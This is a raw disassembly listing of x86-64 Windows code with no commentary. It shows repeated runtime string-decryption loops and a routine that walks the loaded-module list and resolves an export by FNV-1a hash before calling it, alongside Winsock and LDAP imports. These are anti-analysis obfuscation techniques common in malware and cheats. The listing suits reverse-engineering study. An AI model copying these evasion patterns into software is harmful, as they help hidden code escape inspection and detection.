xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14007edf0
movdqa xmmword [rsp + 0x50], xmm6
movdqa xmmword [rsp + 0x60], xmm7
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
lea rax, [0x140175750]
mov qword [rsp + 0x28], rax
lea rax, [0x140175748]
mov qword [rsp + 0x20], rax
lea r9, [0x140175740]
xor r8d, r8d
lea rdx, [rbp + 0x438]
lea rcx, [rbp + 0xb8]
call fcn.14003fdb0
test al, al
je 0x14007f14d
movups xmm0, xmmword [0x140144a70]
movups xmmword [rbp + 0x9d0], xmm0
movups xmm1, xmmword [0x140144a80]
movups xmmword [rbp + 0x9e0], xmm1
movups xmm0, xmmword [0x140144a90]
movups xmmword [rbp + 0x9f0], xmm0
movups xmm1, xmmword [str.EqQZVf]
movups xmmword [rbp + 0xa00], xmm1
movups xmm0, xmmword [0x140144ab0]
movups xmmword [rbp + 0xa10], xmm0
movups xmm1, xmmword [0x140144ac0]
movups xmmword [rbp + 0xa20], xmm1
mov eax, dword [0x140144ad0]
mov dword [rbp + 0xa30], eax
movzx eax, word [0x140144ad4]
mov word [rbp + 0xa34], ax
movzx eax, byte [0x140144ad6]
mov byte [rbp + 0xa36], al
mov r8d, r12d
cmp r13d, 2
jl 0x14007f045
movdqa xmm5, xmmword [0x140107310]
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm6, xmmword [0x140147590]
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x9d4]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x60
jl 0x14007ef40
cmp r8d, 0x67
jge 0x14007f090
movsxd rax, r8d
lea r9, [rbp + 0x9d0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x67
jl 0x14007f060
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14007f128
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14007f128
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14007f123
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14007f100
cmp edx, 0x491e0a9c
je 0x14007f12d
test r9d, r9d
jne 0x14007f0e0
mov rax, qword [rax]
jmp 0x14007f0b0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
lea rcx, [rbp + 0x9d0]
call rax
mov rcx, r15
call fcn.140025a30
mov dword [rbp + 0xd8], 0x42700000
mov dword [rbp + 0xdc], 0x42c80000
lea rcx, [rbp + 0xd8]
call fcn.140025c30
mov eax, dword [str.4____J]
mov dword [rbp + 0x1c8], eax
movzx eax, word [0x140144aec]
mov word [rbp + 0x1cc], ax
movzx eax, byte [0x140144aee]
movups xmm0, xmmword [str.uWYBL]
mov byte [rbp + 0x1ce], al
movups xmmword [rbp + 0x1b8], xmm0
mov r8d, r12d
cmp r13d, 2
jl 0x14007f2f5
movdqa xmm5, xmmword [0x140107310]
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm6, xmmword [0x140147590]
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x1bc]
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14007f1f0
cmp r8d, 0x17
jge 0x14007f340
movsxd rax, r8d
lea r9, [rbp + 0x1b8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x14007f310
lea rcx, [rbp + 0x1b8]
call fcn.14004f2d0
mov dword [rbp + 0xe0], 0x42700000
mov dword [rbp + 0xe4], 0x42f00000
lea rcx, [rbp + 0xe0]
call fcn.140025c30
movzx eax, word [0x140144b18]
movups xmm0, xmmword [0x140144af0]
mov word [rbp + 0x620], ax
movups xmmword [rbp + 0x5f8], xmm0
movzx eax, byte [0x140144b1a]
movsd xmm0, qword [str.197.xe_5_s]
movups xmm1, xmmword [0x140144b00]
mov byte [rbp + 0x622], al
movsd qword [rbp + 0x618], xmm0
movups xmmword [rbp + 0x608], xmm1
mov r8d, r12d
cmp r13d, 2
jl 0x14007f4f6
movdqa xmm5, xmmword [0x140107310]
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm6, xmmword [0x140147590]
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x5fc]
mov edx, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14007f3f1
cmp r8d, 0x2b
jge 0x14007f540
movsxd rax, r8d
lea r9, [rbp + 0x5f8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x14007f510
lea rcx, [rbp + 0x5f8]
call fcn.14004f2d0
mov rcx, r15
call fcn.140025a30
mov dword [rbp + 0x358], 0x42700000
mov dword [rbp + 0x35c], 0x43910000
lea rcx, [rbp + 0x358]
call fcn.140025c30
movups xmm0, xmmword [0x140144b20]
movups xmmword [rbp + 0x888], xmm0
movups xmm1, xmmword [0x140144b30]
movups xmmword [rbp + 0x898], xmm1
movups xmm0, xmmword [0x140144b40]
movups xmmword [rbp + 0x8a8], xmm0
mov eax, dword [0x140144b50]
mov dword [rbp + 0x8b8], eax
movzx eax, byte [0x140144b54]
mov byte [rbp + 0x8bc], al
mov r8d, r12d
cmp r13d, 2
jl 0x14007f705
movdqa xmm5, xmmword [0x140107310]
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm6, xmmword [0x140147590]
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x88c]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x14007f600
cmp r8d, 0x35
jge 0x14007f750
movsxd rax, r8d
lea r9, [rbp + 0x888]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x14007f720
lea rcx, [rbp + 0x888]
call fcn.14004f2d0
mov rcx, qword [rbp + 0xa0]
call fcn.140025a30
mov dword [rbp + 0x360], 0x42700000
mov dword [rbp + 0x364], 0x43340000
lea rcx, [rbp + 0x360]
call fcn.140025c30
mov rcx, r15
call fcn.140025a30
mov dword [rbp + 0x368], 0x440c0000
mov dword [rbp + 0x36c], 0x40a00000
lea rcx, [rbp + 0x368]
call fcn.140025c30
movaps xmm0, xmmword [0x140147680]
movaps xmm1, xmmword [0x140147650]
mov dword [rbp + 0x370], 0x41a00000
mov dword [rbp + 0x374], 0x41f00000
movzx eax, word [0x140144b58]
mov word [rbp - 0x80], ax
cmp byte [0x140144b59], 0
je 0x14007f7f2
mov byte [rbp - 0x80], 0x78
xor byte [rbp - 0x7f], 0x35
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmmword [rsp + 0x60], xmm1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
lea rax, [0x140175768]
mov qword [rsp + 0x28], rax
lea rax, [0x140175760]
mov qword [rsp + 0x20], rax
lea r9, [0x140175758]
xor r8d, r8d
lea rdx, [rbp + 0x370]
lea rcx, [rbp - 0x80]
call fcn.14003fdb0
test al, al
je 0x14007f853
mov byte [reloc.WS2_32.dll_accept], 0
call fcn.140015af0
nop
lea rcx, [rbp + 0xe68]
call fcn.140064d50
movss xmm8, dword [0x140101ff4]
cmp byte [0x1401796bb], 0
je 0x140082376
mov qword [rbp + 0x378], 0x43160000
lea rcx, [rbp + 0x378]
call fcn.140025c30
mov rcx, r15
call fcn.140025a30
call fcn.1400196e0
mov rbx, rax
mov qword [rax + 0xf4], r12
mov dword [rax + 0xfc], r12d
mov dword [rax + 0x100], 0x3f000000
mov dword [rbp + 0x380], 0x44138000
mov dword [rbp + 0x384], 0x43e60000
movsd xmm0, qword [0x140144b60]
movsd qword [rbp - 0x60], xmm0
movzx ecx, word [0x140144b68]
mov word [rbp - 0x58], cx
cmp byte [0x140144b69], 0
je 0x14007f91b
mov byte [rbp - 0x60], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp - 0x5f], 0x35
xor byte [rbp - 0x5e], 0x36
xor byte [rbp - 0x5d], 0x37
xor byte [rbp - 0x5c], 0x38
xor byte [rbp - 0x5b], 0x39
xor byte [rbp - 0x5a], 0x3a
xor byte [rbp - 0x59], 0x3b
xor byte [rbp - 0x58], 0x3c
xor byte [rbp - 0x57], 0x3d
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x380]
lea rcx, [rbp - 0x60]
call fcn.140007ed0
mov rcx, qword [rbp + 0xc0]
call fcn.140025a30
mov dword [rbp + 0x388], 0x42480000
mov dword [rbp + 0x38c], 0x42480000
lea rcx, [rbp + 0x388]
call fcn.140025c30
mov dword [rbx + 0xd4], r12d
mov qword [rbx + 0xd8], 0x3f800000
mov dword [rbx + 0xe0], 0x3f800000
mov eax, dword [str.sGSRV9]
mov dword [rbp - 0x10], eax
movzx eax, word [0x140144b70]
mov word [rbp - 0xc], ax
mov byte [rbp - 0x10], 0x47
xor byte [rbp - 0xf], 0x35
xor byte [rbp - 0xe], 0x36
xor byte [rbp - 0xd], 0x37
xor al, 0x38
mov byte [rbp - 0xc], al
xor byte [rbp - 0xb], 0x39
lea rcx, [rbp - 0x10]
call fcn.14004f2d0
movaps xmm1, xmm8
movaps xmm0, xmm12
call fcn.1400252f0
mov dword [rbx + 0xd4], 0x3f800000
mov dword [rbx + 0xd8], 0x3f800000
mov dword [rbx + 0xdc], 0x3f800000
mov dword [rbx + 0xe0], 0x3f800000
movups xmm0, xmmword [0x140144b78]
movups xmmword [rbp + 0x710], xmm0
movsd xmm0, qword [0x140144b88]
movsd qword [rbp + 0x720], xmm0
cmp byte [0x140144b8f], 0
je 0x14007fb90
cmp r13d, 2
jl 0x14007fb4f
movdqa xmm5, xmmword [0x140107310]
mov edx, r12d
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm6, xmmword [0x140147590]
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x714]
mov r8d, dword [rsp + 0x50]
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x14007fa50
jmp 0x14007fb90
lea r9, [rbp + 0x710]
mov r8d, r12d
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x14007fb60
lea rcx, [rbp + 0x710]
call fcn.14004f2d0
mov dword [rbp + 0x390], 0x42480000
mov dword [rbp + 0x394], 0x42a00000
lea rcx, [rbp + 0x390]
call fcn.140025c30
mov qword [rbx + 0xd4], 0x3f800000
mov dword [rbx + 0xdc], r12d
mov dword [rbx + 0xe0], 0x3f800000
mov eax, dword [0x140144b90]
mov dword [rbp + 0x88], eax
cmp byte [0x140144b93], 0
je 0x14007fcc0
cmp r13d, 2
jl 0x14007fc7b
movdqa xmm3, xmmword [0x140107310]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1401476e0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1401476e0]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x140147590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.4444444444444444]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0x88], xmm2
jmp 0x14007fcc0
lea r9, [rbp + 0x88]
mov r8d, r12d
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14007fc90
lea rcx, [rbp + 0x88]
call fcn.14004f2d0
movaps xmm1, xmm8
movaps xmm0, xmm12
call fcn.1400252f0
mov dword [rbx + 0xd4], 0x3f800000
mov dword [rbx + 0xd8], 0x3f800000
mov dword [rbx + 0xdc], 0x3f800000
mov dword [rbx + 0xe0], 0x3f800000
movups xmm0, xmmword [0x140144b98]
movups xmmword [rbp + 0x6d0], xmm0
movsd xmm0, qword [0x140144ba8]
movsd qword [rbp + 0x6e0], xmm0
mov eax, dword [0x140144bb0]
mov dword [rbp + 0x6e8], eax
cmp byte [reloc.WLDAP32.dll_Ordinal_79], 0
je 0x14007fed0
mov r8d, r12d
cmp r13d, 2
jl 0x14007fe85
movdqa xmm5, xmmword [0x140107310]
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm6, xmmword [0x140147590]
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x6d4]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14007fd80
cmp r8d, 0x1c
jge 0x14007fed0
movsxd rax, r8d
lea r9, [rbp + 0x6d0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x14007fea0
lea rcx, [rbp + 0x6d0]
call fcn.14004f2d0
lea rdi, [0x140175268]
lea rsi, [0x1401751e8]
lea r12, [0x140175208]
lea r15, [0x140175288]
lea r13, [0x140175228]
lea r14, [0x1401752a8]
cmp byte [0x1401796b4], 0
jne 0x14007ffb9
cmp rdi, rsi
je 0x14007ff3e
mov rdx, rsi
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x1401751e8]
mov r8, qword [0x1401751f8]
mov rcx, rdi
call fcn.14006e350
mov rdx, r12
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x140175208]
mov r8, qword [0x140175218]
mov rcx, r15
call fcn.14006e350
mov rdx, r13
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x140175228]
mov r8, qword [0x140175238]
mov rcx, r14
call fcn.14006e350
lea rdx, [0x140175248]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x140175248]
mov r8, qword [0x140175258]
lea rcx, [0x1401752c8]
call fcn.14006e350
cmp byte [0x1401796b4], 0
je 0x140080d13
cmp byte [0x1401796b7], 0
jne 0x140080d13
lea rax, [rbp + 0xcb0]
mov qword [rsp + 0x50], rax
movups xmm3, xmmword [0x140144c18]
movups xmmword [rbp + 0x598], xmm3
movsd xmm0, qword [0x140144c28]
movsd qword [rbp + 0x5a8], xmm0
movzx eax, word [0x140144c30]
mov word [rbp + 0x5b0], ax
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400800f6
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm2, xmmword [0x140107310]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140147590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [str.44444444]
movq xmm1, xmm3
xorps xmm2, xmm1
movq qword [rbp + 0x598], xmm2
movdqa xmm3, xmmword [0x140147580]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140147590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [str.44444444]
movq xmm0, qword [rbp + 0x5a0]
xorps xmm2, xmm0
movq qword [rbp + 0x5a0], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x598]
lea r9, [r9 + rax*2]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xd
jl 0x140080110
lea rdx, [rbp + 0x598]
lea rcx, [rbp + 0xcb0]
call fcn.1400632c0
mov r14, rax
movups xmm0, xmmword [0x140144bc0]
movups xmmword [rbp + 0xaf0], xmm0
movups xmm1, xmmword [0x140144bd0]
movups xmmword [rbp + 0xb00], xmm1
movups xmm0, xmmword [0x140144be0]
movups xmmword [rbp + 0xb10], xmm0
movups xmm1, xmmword [0x140144bf0]
movups xmmword [rbp + 0xb20], xmm1
movups xmm0, xmmword [str.:525__]
movups xmmword [rbp + 0xb30], xmm0
movzx eax, word [0x140144c10]
mov word [rbp + 0xb40], ax
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400802df
movdqa xmm5, xmmword [0x140107310]
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm6, xmmword [0x140147590]
movdqa xmm7, xmmword [str.44444444]
lea rcx, [rbp + 0xaf0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
